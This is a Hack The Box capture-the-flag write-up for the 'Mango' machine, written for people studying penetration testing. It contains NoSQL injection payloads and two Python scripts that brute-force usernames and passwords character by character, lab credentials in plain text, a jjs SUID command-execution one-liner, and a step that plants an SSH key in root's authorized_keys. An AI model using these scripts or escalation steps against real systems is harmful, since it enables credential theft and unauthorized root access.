HTB Writeup - Mango

3 minute read

Mango is rated as a medium difficulty linux machine. This machine is hosting a webserver vulnerable to NoSQL injection, allowing attackers to leak credentials that can be used to successfully login via SSH. For privilege escalation, a scripting tool with SUID enabled can be used by attackers to execute shell commands as root.

Recon

A quick masscan + nmap scan gives us the following info:

There are 3 open ports, 22, 80 and 443. Credentials are needed for SSH access so let’s proceed checking up port 80 and port 443.

Webserver

Hitting up port 80 gives us a 403 Forbidden response.

Adding mango.htb to /etc/hosts gives us the same response.

Enumerating port 80’s directories also gave nothing.

Skipping to port 443, accessing the port leads us to this webpage.

Enumerating port 443’s directories and pages only led to this page.

It seems that https://mango.htb or https://10.10.10.162 leads to nothing.

Going back to our nmap scan gives us a subdomain worth investigating.

443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1

Adding staging-order.mango.htb to /etc/hosts gives us a new webpage - Sweet & Juicy Mango login page.

NoSQL Injection

After manually testing a lot of SQLi payloads, it seems that the login page is not vulnerable to SQLi. After wasting a lot of time in the rabbit hole, I realized that there might be a reason why this machine is named Mango.

Mango -> Mongo -> MongoDB -> NoSQL injection

After trying different NoSQL payloads from PayloadAllTheThings, I got an HTTP/1.1 302 Found response with this payload.

username[$ne]=admin&password[$ne]=admin&login=login

We can extract information using this payload template:

username[$regex]=^(insert character guess here)&password[$ne]=test&login=login

The payload means that the server will return a 302 response if the user value starts with the right character/s.

Automating this attack with a script makes it easier to leak the information we need.

import requests
import string

url = 'http://staging-order.mango.htb/'

user = ''

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|']:
      data = {'username[$regex]': '^{}'.format(user + c),
        'password[$ne]': 'abc',
        'login': 'login'
        }

      print('Trying: {}'.format(user + c))
      print('Current user: {}'.format(user))

      r = requests.post(url, data=data, allow_redirects=False)
      if r.status_code == 302:
          # additional check to break the script
          if c == '$':
              print('Leaked user: {}'.format(user))
              exit()
          user += c
          print(user)

Running this script gives us two users, admin and mango.

Note: Edited the script to skip admin user

After extracting the users, we need to edit the payload to extract passwords.

This will be the new payload template for password extraction.

username=admin&password[$regex]=^(insert password guess here)&login=login

This script can be used to extract the password for each user:

import requests
import string

url = 'http://staging-order.mango.htb/'

password = ''

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|']:
      data = {'username[$eq]': 'mango',
        'password[$regex]': '^{}'.format(password+c),
        'login': 'login'
        }

      print('Trying: {}'.format(password + c))
      print('Current pw: {}'.format(password))

      r = requests.post(url, data=data, allow_redirects=False)
      if r.status_code == 302:
          if c == '$':
              print('Leaked password: {}'.format(password))
              exit()
          password += c
          print(password)

User admin password leak:

User mango password leak:

Leaked credentials:

admin : t9KcS3>!0B#2
mango : h3mXK8RhU~f{]f5H

The credentials for mango user worked on SSH login.

After checking the files of mango, the file user.txt does not exist in the home directory. It seems that we still need to check for another user.

PrivEsc to Admin

Upon checking the list of users on /etc/passwd, we can see that there is another user named admin.

We can try to use the leaked credentials (admin : t9KcS3>!0B#2) for this user.

Successfully pivoted to admin user.

PrivEsc to Root

Executing LinEnum.sh shows us that there is an SUID binary that can be exploited.

A quick google search about exploiting jjs leads us to another GTFObins page.

According to GTFObins, we can execute system commands inside jjs with a one-liner command:

Java.type('java.lang.Runtime').getRuntime().exec('<insert commands here>').waitFor()

Since jjs is SUID enabled, we can execute commands as root. We can try to write an SSH public key to /root/.ssh/authorized_keys and login via SSH using our private key.

Overwriting /root/.ssh/authorized_keys by downloading our public key using wget.

Successfully logged in as root using our private key.

ar33zy